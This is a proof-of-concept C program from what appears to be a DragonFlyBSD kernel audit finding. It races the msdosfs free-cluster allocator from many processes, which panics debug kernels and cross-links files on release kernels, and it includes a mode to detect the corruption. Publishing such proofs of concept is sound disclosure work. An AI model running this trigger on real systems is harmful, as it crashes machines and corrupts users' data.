⬢ DragonFlyBSD Kernel Audit
DF-3093 / racestress.c
← back to finding ↓ download raw
/*
 * DF-3093 PoC: stress the msdosfs free-cluster allocator from multiple
 * processes.  MSDOSFS_LOCK_MP()/MSDOSFS_UNLOCK_MP() expand to NOTHING
 * (sys/vfs/msdosfs/msdosfsmount.h:216-218) and struct msdosfsmount has
 * no lock member, so clusteralloc()/chainalloc()/usemap_alloc() and the
 * pm_inusemap scan run unsynchronized on SMP.  Two concurrent extendfile()
 * calls can observe the same free run and both chainalloc() it:
 *  - INVARIANTS kernels panic in usemap_alloc() KASSERT
 *    "Allocating used sector ..." (msdosfs_fat.c:381);
 *  - release kernels silently write two FAT chains over the same
 *    clusters -> cross-linked files (detectable afterwards: each child
 *    fills its file with a distinct byte, so any foreign byte in a file
 *    proves cluster double-allocation).
 *
 * Each child appends chunk-size pieces to its own file in a tight loop;
 * every write beyond EOF takes msdosfs_write -> extendfile(count) ->
 * clusteralloc with a count-of-clusters-wide usemap_alloc loop (a long
 * unsynchronized critical section for the sibling threads to race with).
 *
 * build: cc -O2 -o racestress racestress.c
 * usage: ./racestress /mountpoint fileprefix nprocs iterations chunkbytes
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>

int
main(int argc, char **argv)
{
	const char *prefix, *mnt;
	int nprocs, iters, chunk, i, j, fd;
	char path[256];
	char *buf;

	if (argc == 4 && strcmp(argv[1], "-check") == 0) {
		/* check mode: count bytes in r0..rN-1 that are not 'A'+i */
		mnt = argv[2];
		nprocs = atoi(argv[3]);
		for (i = 0; i < nprocs; i++) {
			unsigned long foreign = 0, total = 0;
			ssize_t n;
			snprintf(path, sizeof(path), "%s/r%d", mnt, i);
			fd = open(path, O_RDONLY);
			if (fd < 0) { perror(path); return (1); }
			while ((n = read(fd, path, sizeof(path))) > 0) {
				for (j = 0; j < n; j++)
					if ((unsigned char)path[j] != 'A' + i)
						foreign++;
				total += n;
			}
			close(fd);
			printf("  r%d: size=%lu foreign_bytes=%lu%s\n", i,
			    total, foreign, foreign ? "  <== CROSS-LINKED" : "");
		}
		return (0);
	}
	if (argc != 6) {
		fprintf(stderr,
		    "usage: %s mnt prefix nprocs iters chunkbytes | %s -check mnt n\n",
		    argv[0], argv[0]);
		return (1);
	}
	mnt = argv[1];
	prefix = argv[2];
	nprocs = atoi(argv[3]);
	iters = atoi(argv[4]);
	chunk = atoi(argv[5]);
	buf = malloc(chunk);

	for (i = 0; i < nprocs; i++) {
		pid_t pid = fork();
		if (pid == 0) {
			memset(buf, 'A' + i, chunk);
			snprintf(path, sizeof(path), "%s/%s%d", mnt, prefix, i);
			fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
			if (fd < 0) { perror(path); _exit(1); }
			for (j = 0; j < iters; j++) {
				if (write(fd, buf, chunk) != chunk) {
					fprintf(stderr, "child %d write %d: %s\n",
					    i, j, strerror(1));
					_exit(2);
				}
			}
			close(fd);
			_exit(0);
		}
	}
	for (i = 0; i < nprocs; i++) {
		int st;
		wait(&st);
		if (!WIFEXITED(st) || WEXITSTATUS(st) != 0)
			fprintf(stderr, "child %d bad status %#x\n", i, st);
	}
	printf("racestress: %d procs x %d x %dB done\n", nprocs, iters, chunk);
	return (0);
}